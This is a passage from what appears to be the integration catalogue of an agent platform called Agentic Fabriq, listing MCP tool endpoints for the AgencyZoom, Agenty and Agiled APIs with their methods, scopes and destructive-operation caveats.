/api/v1/agencyzoom/opportunities/drivers/{driverId}. Scopes: api. agencyzoom_put_v1_api_opportunities_vehicles_by_vehicleid (write) — Update a vehicle's details via PUT /v1/api/opportunities/vehicles/{vehicleId} PUT /api/v1/agencyzoom/opportunities/vehicles/{vehicleId}. Scopes: api. agencyzoom_put_v1_api_policies_by_policyid (write) — Update a policy via PUT /v1/api/policies/{policyId} PUT /api/v1/agencyzoom/policies/{policyId}. Scopes: api. agencyzoom_put_v1_api_profile_my (write) — Update My Profile via PUT /v1/api/profile/my PUT /api/v1/agencyzoom/profile/my. Scopes: api. agencyzoom_put_v1_api_serviceticket_service_tickets_by_id (write) — Update Service Ticket via PUT /v1/api/serviceTicket/service-tickets/{id} PUT /api/v1/agencyzoom/serviceTicket/service-tickets/{id}. Scopes: api. agencyzoom_put_v1_api_tasks_by_taskid (write) — Update task via PUT /v1/api/tasks/{taskId} PUT /api/v1/agencyzoom/tasks/{taskId}. Scopes: api. agencyzoom_put_v1_api_tasks_by_taskid_completed (write) — Complete task via PUT /v1/api/tasks/{taskId}/completed PUT /api/v1/agencyzoom/tasks/{taskId}/completed. Scopes: api. agencyzoom_put_v1_api_tasks_by_taskid_reopened (write) — Reopen a task via PUT /v1/api/tasks/{taskId}/reopened PUT /api/v1/agencyzoom/tasks/{taskId}/reopened. Scopes: api. ================================================================================ ## Agenty URL: https://www.agenticfabriq.com/integrations/agenty Section: Integrated Tools Agenty — 70 MCP tools Provider key: agenty. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. agenty_delete_v2_agents (write, destructive) — To delete one more more agent by Ids via DELETE /v2/agents DELETE /api/v1/agenty/v2/agents. Scopes: api. agenty_delete_v2_agents_by_agent_id (write, destructive) — To delete an agent by Id via DELETE /v2/agents/{agent_id} DELETE /api/v1/agenty/v2/agents/{agent_id}. Scopes: api. agenty_delete_v2_apikeys_by_key_id (write, destructive) — To delete api keys by Ids via DELETE /v2/apikeys/{key_id} DELETE /api/v1/agenty/v2/apikeys/{key_id}. Scopes: api. agenty_delete_v2_connections_by_id (write, destructive) — Delete connection by Id via DELETE /v2/connections/{id} DELETE /api/v1/agenty/v2/connections/{id}. Scopes: api. agenty_delete_v2_lists_by_id (write, destructive) — To delete a list by Id via DELETE /v2/lists/{id} DELETE /api/v1/agenty/v2/lists/{id}. Scopes: api. agenty_delete_v2_lists_by_list_id_rows (write, destructive) — To delete multiple list rows by Ids via DELETE /v2/lists/{list_id}/rows DELETE /api/v1/agenty/v2/lists/{list_id}/rows. Scopes: api. agenty_delete_v2_lists_by_list_id_rows_by_id (write, destructive) — To delete the single list row by Id via DELETE /v2/lists/{list_id}/rows/{id} DELETE /api/v1/agenty/v2/lists/{list_id}/rows/{id}. Scopes: api. agenty_delete_v2_lists_by_list_id_rows_clear (write, destructive) — To clear the list data completely via DELETE /v2/lists/{list_id}/rows/clear DELETE /api/v1/agenty/v2/lists/{list_id}/rows/clear. Scopes: api. agenty_delete_v2_projects (write, destructive) — Delete project by id via DELETE /v2/projects DELETE /api/v1/agenty/v2/projects. Scopes: api. agenty_delete_v2_projects_by_id_delete (write, destructive) — To remove an agent from the project via DELETE /v2/projects/{id}/delete DELETE /api/v1/agenty/v2/projects/{id}/delete. Scopes: api. agenty_delete_v2_scheduler_by_agent_id (write, destructive) — To delete an agent schedule via DELETE /v2/scheduler/{agent_id} DELETE /api/v1/agenty/v2/scheduler/{agent_id}. Scopes: api. agenty_delete_v2_users (write, destructive) — To delete users by Ids via DELETE /v2/users DELETE /api/v1/agenty/v2/users. Scopes: api. agenty_delete_v2_workflows_by_id (write, destructive) — Delete workflow by id via DELETE /v2/workflows/{id} DELETE /api/v1/agenty/v2/workflows/{id}. Scopes: api. agenty_get_v2_agents (read) — To get all the agents under your account via GET /v2/agents GET /api/v1/agenty/v2/agents. Scopes: api. agenty_get_v2_agents_by_agent_id (read) — To get an agent by Id via GET /v2/agents/{agent_id} GET /api/v1/agenty/v2/agents/{agent_id}. Scopes: api. agenty_get_v2_apikeys (read) — To get all the api keys under an account via GET /v2/apikeys GET /api/v1/agenty/v2/apikeys. Scopes: api. agenty_get_v2_apikeys_by_key_id (read) — To get an api key by Id via GET /v2/apikeys/{key_id} GET /api/v1/agenty/v2/apikeys/{key_id}. Scopes: api. agenty_get_v2_apikeys_by_key_id_reset (write, destructive) — To reset an api key via GET /v2/apikeys/{key_id}/reset GET /api/v1/agenty/v2/apikeys/{key_id}/reset. Scopes: api. agenty_get_v2_apikeys_by_key_id_status (write) — To enable/disable an api key via GET /v2/apikeys/{key_id}/status GET /api/v1/agenty/v2/apikeys/{key_id}/status. Scopes: api. agenty_get_v2_apikeys_download (read) — To download all API keys under an account via GET /v2/apikeys/download GET /api/v1/agenty/v2/apikeys/download. Scopes: api. agenty_get_v2_connections (read) — Get connections via GET /v2/connections GET /api/v1/agenty/v2/connections. Scopes: api. agenty_get_v2_connections_by_id_connect (read) — Connect an existing integration connection to a shop (the `shop` query parameter names the store); undocumented in the embedded contract, which carries no summary for this operation via GET /v2/connections/{id}/connect GET /api/v1/agenty/v2/connections/{id}/connect. Scopes: api. agenty_get_v2_dashboard (read) — Get the account reports like pages used by agent, date and products via GET /v2/dashboard GET /api/v1/agenty/v2/dashboard. Scopes: api. agenty_get_v2_inputs_by_agent_id (read) — Get agent input by Id via GET /v2/inputs/{agent_id} GET /api/v1/agenty/v2/inputs/{agent_id}. Scopes: api. agenty_get_v2_jobs (read) — To get all the jobs under an account via GET /v2/jobs GET /api/v1/agenty/v2/jobs. Scopes: api. agenty_get_v2_jobs_by_job_id (read) — To get a job by Id via GET /v2/jobs/{job_id} GET /api/v1/agenty/v2/jobs/{job_id}. Scopes: api. agenty_get_v2_jobs_by_job_id_files (read) — To get the agent output files by job Id via GET /v2/jobs/{job_id}/files GET /api/v1/agenty/v2/jobs/{job_id}/files. Scopes: api. agenty_get_v2_jobs_by_job_id_logs (read) — To get the agent logs by job Id via GET /v2/jobs/{job_id}/logs GET /api/v1/agenty/v2/jobs/{job_id}/logs. Scopes: api. agenty_get_v2_jobs_by_job_id_result (read) — To get the agent result by job Id via GET /v2/jobs/{job_id}/result GET /api/v1/agenty/v2/jobs/{job_id}/result. Scopes: api. agenty_get_v2_jobs_by_job_id_result_download (read) — To download the agent output result by job Id via GET /v2/jobs/{job_id}/result/download GET /api/v1/agenty/v2/jobs/{job_id}/result/download. Scopes: api. agenty_get_v2_jobs_by_job_id_stop (write) — To stop a running job by Id via GET /v2/jobs/{job_id}/stop GET /api/v1/agenty/v2/jobs/{job_id}/stop. Scopes: api. agenty_get_v2_jobs_download (read) — Download jobs in CSV via GET /v2/jobs/download GET /api/v1/agenty/v2/jobs/download. Scopes: api. agenty_get_v2_lists (read) — To get all the lists in an account via GET /v2/lists GET /api/v1/agenty/v2/lists. Scopes: api. agenty_get_v2_lists_by_list_id (read) — To get a list by Id via GET /v2/lists/{list_id} GET /api/v1/agenty/v2/lists/{list_id}. Scopes: api. agenty_get_v2_lists_by_list_id_rows (read) — To get the list data via GET /v2/lists/{list_id}/rows GET /api/v1/agenty/v2/lists/{list_id}/rows. Scopes: api. agenty_get_v2_lists_by_list_id_rows_by_id (read) — To get a single List row by Id via GET /v2/lists/{list_id}/rows/{id} GET /api/v1/agenty/v2/lists/{list_id}/rows/{id}. Scopes: api. agenty_get_v2_lists_by_list_id_rows_download (read) — To download the list in CSV format via GET /v2/lists/{list_id}/rows/download GET /api/v1/agenty/v2/lists/{list_id}/rows/download. Scopes: api. agenty_get_v2_projects (read) — To fetch all the projects via GET /v2/projects GET /api/v1/agenty/v2/projects. Scopes: api. agenty_get_v2_projects_by_id (read) — To retrieve a single project, associated agents by project id via GET /v2/projects/{id} GET /api/v1/agenty/v2/projects/{id}. Scopes: api. agenty_get_v2_results_by_agent_id (read) — Get agent result by agent id via GET /v2/results/{agent_id} GET /api/v1/agenty/v2/results/{agent_id}. Scopes: api. agenty_get_v2_scheduler_by_agent_id (read) — To get an agent schedule details via GET /v2/scheduler/{agent_id} GET /api/v1/agenty/v2/scheduler/{agent_id}. Scopes: api. agenty_get_v2_users (read) — To get all the users under an account via GET /v2/users GET /api/v1/agenty/v2/users. Scopes: api. agenty_get_v2_users_by_user_id (read) — To get a user by Id via GET /v2/users/{user_id} GET /api/v1/agenty/v2/users/{user_id}. Scopes: api. agenty_get_v2_workflows (read) — Get all Workflows via GET /v2/workflows GET /api/v1/agenty/v2/workflows. Scopes: api. agenty_get_v2_workflows_by_id (read) — Get workflow by id via GET /v2/workflows/{id} GET /api/v1/agenty/v2/workflows/{id}. Scopes: api. agenty_patch_v2_agents_by_agent_id (write) — To update agent name, description, tags via PATCH /v2/agents/{agent_id} PATCH /api/v1/agenty/v2/agents/{agent_id}. Scopes: api. agenty_patch_v2_connections_by_id (write) — Rename connection by Id via PATCH /v2/connections/{id} PATCH /api/v1/agenty/v2/connections/{id}. Scopes: api. agenty_patch_v2_scheduler_by_agent_id (write) — To enable/disble an agent schedule via PATCH /v2/scheduler/{agent_id} PATCH /api/v1/agenty/v2/scheduler/{agent_id}. Scopes: api. agenty_patch_v2_workflows_by_id (write) — Enable/disable a workflow via PATCH /v2/workflows/{id} PATCH /api/v1/agenty/v2/workflows/{id}. Scopes: api. agenty_post_v2_agents (write) — To create a new agent and auto-start optionally by passing `start=1` parameter via POST /v2/agents POST /api/v1/agenty/v2/agents. Scopes: api. agenty_post_v2_agents_by_agent_id_copy (write) — To make a copy of an agent with all settings, configuration etc. via POST /v2/agents/{agent_id}/copy POST /api/v1/agenty/v2/agents/{agent_id}/copy. Scopes: api. agenty_post_v2_apikeys (write) — To create a new api key via POST /v2/apikeys POST /api/v1/agenty/v2/apikeys. Scopes: api. agenty_post_v2_jobs_start (write) — To start a new agent job on Agenty server via POST /v2/jobs/start POST /api/v1/agenty/v2/jobs/start. Scopes: api. agenty_post_v2_lists (write) — To create a new List via POST /v2/lists POST /api/v1/agenty/v2/lists. Scopes: api. agenty_post_v2_lists_by_list_id_rows (write) — To append a new rows/row in the list via POST /v2/lists/{list_id}/rows POST /api/v1/agenty/v2/lists/{list_id}/rows. Scopes: api. agenty_post_v2_projects (write) — To create a new project via POST /v2/projects POST /api/v1/agenty/v2/projects. Scopes: api. agenty_post_v2_projects_by_id_add (write) — To add the agents on a project via POST /v2/projects/{id}/add POST /api/v1/agenty/v2/projects/{id}/add. Scopes: api. agenty_post_v2_users (write) — To invite a new user via POST /v2/users POST /api/v1/agenty/v2/users. Scopes: api. agenty_post_v2_workflows (write) — Create a Workflow via POST /v2/workflows POST /api/v1/agenty/v2/workflows. Scopes: api. agenty_put_v2_agents_by_agent_id (write) — To update an agent configuration, settings etc via PUT /v2/agents/{agent_id} PUT /api/v1/agenty/v2/agents/{agent_id}. Scopes: api. agenty_put_v2_agents_by_agent_id_scripts (write) — To update the agent pre and post processing scripts via PUT /v2/agents/{agent_id}/scripts PUT /api/v1/agenty/v2/agents/{agent_id}/scripts. Scopes: api. agenty_put_v2_agents_by_agent_id_transfer (write) — To transfer an agent to some other Agenty account via PUT /v2/agents/{agent_id}/transfer PUT /api/v1/agenty/v2/agents/{agent_id}/transfer. Scopes: api. agenty_put_v2_apikeys_by_key_id (write) — To update an api key name via PUT /v2/apikeys/{key_id} PUT /api/v1/agenty/v2/apikeys/{key_id}. Scopes: api. agenty_put_v2_inputs_by_agent_id (write) — Update agent input by Id via PUT /v2/inputs/{agent_id} PUT /api/v1/agenty/v2/inputs/{agent_id}. Scopes: api. agenty_put_v2_lists_by_list_id (write) — To update a list name, description by Id via PUT /v2/lists/{list_id} PUT /api/v1/agenty/v2/lists/{list_id}. Scopes: api. agenty_put_v2_lists_by_list_id_rows_by_id (write) — To update a single list row by Id via PUT /v2/lists/{list_id}/rows/{id} PUT /api/v1/agenty/v2/lists/{list_id}/rows/{id}. Scopes: api. agenty_put_v2_projects_by_id (write) — Update project by id via PUT /v2/projects/{id} PUT /api/v1/agenty/v2/projects/{id}. Scopes: api. agenty_put_v2_scheduler_by_agent_id (write) — To upsert an agent schedule via PUT /v2/scheduler/{agent_id} PUT /api/v1/agenty/v2/scheduler/{agent_id}. Scopes: api. agenty_put_v2_users_by_user_id (write) — To update a user by Id via PUT /v2/users/{user_id} PUT /api/v1/agenty/v2/users/{user_id}. Scopes: api. agenty_put_v2_workflows_by_id (write) — Update workflow by id via PUT /v2/workflows/{id} PUT /api/v1/agenty/v2/workflows/{id}. Scopes: api. ================================================================================ ## Agiled URL: https://www.agenticfabriq.com/integrations/agiled Section: Integrated Tools Agiled — 150 MCP tools Provider key: agiled. Scopes: read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. agiled_delete_accounts_by_id (write, destructive) — Delete a CRM account via DELETE /accounts/{id}. A CRM account is a company in the CRM -- the organisation that contacts, deals, meetings, notes and tasks hang off. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/accounts/{id}. Scopes: write. agiled_delete_contacts_by_id (write, destructive) — Delete a CRM contact via DELETE /contacts/{id}. A CRM contact is a person in the CRM, normally attached to an account, and is the party invoices, estimates and meetings are addressed to. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/contacts/{id}. Scopes: write. agiled_delete_crm_deals_by_id (write, destructive) — Delete a deal via DELETE /crm/deals/{id}. A deal is one opportunity moving through a pipeline: a value, a stage, a source and a status, attached to an account or a contact. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/crm/deals/{id}. Scopes: write. agiled_delete_crm_notes_by_id (write, destructive) — Delete a CRM note via DELETE /crm/notes/{id}. A CRM note is free text attached to a contact, account or deal, addressed by the parent module and that record's id. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/crm/notes/{id}. Scopes: write. agiled_delete_crm_pipeline_stages_by_id (write, destructive) — Delete a pipeline stage via DELETE /crm/pipeline-stages/{id}. A pipeline stage is one column of a sales pipeline. Deals sit in exactly one stage, so the stage list is the vocabulary a deal's `stage` field has to come from. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/crm/pipeline-stages/{id}. Scopes: write. agiled_delete_crm_pipelines_by_id (write, destructive) — Delete a pipeline via DELETE /crm/pipelines/{id}. A pipeline is a named sequence of stages that deals move through; an account can run several. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/crm/pipelines/{id}. Scopes: write. agiled_delete_crm_tasks_by_id (write, destructive) — Delete a CRM task via DELETE /crm/tasks/{id}. A CRM task is a to-do attached to a contact, account or deal. It is a different record from a PROJECT task: the project task tools live under /tasks and are addressed by project, not by CRM module. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/crm/tasks/{id}. Scopes: write. agiled_delete_docs_by_id (write, destructive) — Delete a document via DELETE /docs/{id}. A document is a file stored in Agiled's document library, separate from the per-record attachments on projects, tasks and CRM records. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/docs/{id}. Scopes: write. agiled_delete_estimates_by_id (write, destructive) — Delete an estimate via DELETE /estimates/{id}. An estimate is a quote sent to a client before the work: the same line items an invoice carries, without being a demand for payment. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/estimates/{id}. Scopes: write. agiled_delete_event_types_by_id (write, destructive) — Delete an event type via DELETE /event-types/{id}. An event type is the bookable meeting template behind Agiled's scheduling pages -- duration, availability and location -- from which individual events are booked. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/event-types/{id}. Scopes: write. agiled_delete_events_by_id (write, destructive) — Delete an event via DELETE /events/{id}. An event is one booked slot against an event type, with its invitee and time. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/events/{id}. Scopes: write. agiled_delete_expenses_by_id (write, destructive) — Delete an expense via DELETE /expenses/{id}. An expense is a cost recorded against the business, optionally against a project, with an amount, a currency and a category. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/expenses/{id}. Scopes: write. agiled_delete_invoices_by_id (write, destructive) — Delete an invoice via DELETE /invoices/{id}. An invoice is a billing document issued to a client, carrying line items, taxes, a currency and a payment status; payments are recorded against it separately. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/invoices/{id}. Scopes: write. agiled_delete_payments_by_id (write, destructive) — Delete a payment via DELETE /payments/{id}. A payment is money received against an invoice. It is a separate record from the invoice: recording one here is what moves the invoice towards paid. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/payments/{id}. Scopes: write. agiled_delete_products_by_id (write, destructive) — Delete a product via DELETE /products/{id}. A product is a catalogue item with a price and a tax, used as the source of line items on invoices and estimates. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/products/{id}. Scopes: write. agiled_delete_project_category_by_id (write, destructive) — Delete a project category via DELETE /project-category/{id}. A project category is the grouping label a project carries; it is the vocabulary a project's `category` field has to come from. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/project-category/{id}. Scopes: write. agiled_delete_projects_by_id (write, destructive) — Delete a project via DELETE /projects/{id}. A project is the unit of delivery work: it holds milestones, tasks, files and time logs, and is attached to a client. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/projects/{id}. Scopes: write. agiled_delete_projects_milestonesdestroy_by_id (write, destructive) — Delete a milestone via DELETE /projects/milestonesdestroy/{id}. A milestone is a named checkpoint inside a project, with its own status, that project tasks are grouped under. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/projects/milestonesdestroy/{id}. Scopes: write. agiled_delete_taskcategories_by_id (write, destructive) — Delete a task category via DELETE /taskcategories/{id}. A task category is the grouping label a project task carries. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/taskcategories/{id}. Scopes: write. agiled_delete_tasks_by_id (write, destructive) — Delete a task via DELETE /tasks/{id}. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/tasks/{id}. Scopes: write. agiled_delete_ticketagents_by_id (write, destructive) — Delete a ticket agent via DELETE /ticketagents/{id}. A ticket agent is a workspace member who may be assigned support tickets. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/ticketagents/{id}. Scopes: write. agiled_delete_ticketchannels_by_id (write, destructive) — Delete a ticket channel via DELETE /ticketchannels/{id}. A ticket channel is the route a ticket arrived by -- email, a form, the portal -- and is one of the vocabularies a ticket's fields draw on. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/ticketchannels/{id}. Scopes: write. agiled_delete_tickets_by_id (write, destructive) — Delete a ticket via DELETE /tickets/{id}. A ticket is one support conversation, carrying a type, a channel, an assigned agent and a thread of replies. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/tickets/{id}. Scopes: write. agiled_delete_ticketsreply_by_id (write, destructive) — Delete a ticket reply via DELETE /ticketsreply/{id}. A ticket reply is one message on a ticket's thread. A reply is what the requester sees, so writing one is customer-visible. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all 